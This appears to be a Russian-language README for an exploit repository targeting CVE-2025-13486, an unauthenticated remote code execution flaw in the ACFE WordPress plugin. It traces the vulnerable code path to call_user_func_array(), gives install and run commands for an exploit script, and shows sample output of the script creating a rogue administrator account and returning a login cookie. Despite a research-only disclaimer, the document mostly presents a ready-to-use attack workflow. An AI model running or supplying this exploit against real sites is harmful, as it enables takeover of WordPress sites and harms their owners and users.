
CVE-2025-13486 - Remote Code Execution & Privilege Escalation exploit
Эксплойт для CVE-2025-13486, обнаруженный Marcin Dudek (dudekmar)
Этот репозиторий предоставлен только для исследовательских и защитных целей. Автор не несет ответственности за неправомерное использование этой информации.
Плагин Advanced Custom Fields: Extended (ACFE) для WordPress уязвим к удаленному выполнению кода (RCE) в версиях 0.9.0.5 – 0.9.1.1.
Уязвимость находится в функции prepare_form(), которая принимает ввод, контролируемый пользователем, и передает его в call_user_func_array() без надлежащей проверки.
Это позволяет неаутентифицированным злоумышленникам выполнять произвольный PHP-код на сервере в ограниченном объеме, что, тем не менее, достаточно для создания учетной записи администратора и входа в систему.
Цепочка уязвимости выглядит следующим образом:
includes/modules/form/module-form-front.php:24 -> действие wp_ajax_nopriv_acfe/form/render_form_ajax запускает обработчик render_form_ajax.
includes/modules/form/module-form-front.php:492 -> применяется фильтр acfe/form/prepare_form, вызывающий функцию prepare_form().
includes/modules/form/module-form-front-render.php:151 -> данные $form, контролируемые пользователем, напрямую передаются в call_user_func_array().
Установите зависимости Python:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Определите уязвимую цель WordPress.
Цель должна содержать страницу с формой, созданной ACFE.
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
Пример вывода:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
Запустите скрипт снова с флагом --exploit:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
Пример вывода:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
Используйте полученный cookie аутентификации WordPress для входа под вновь созданной учетной записью администратора.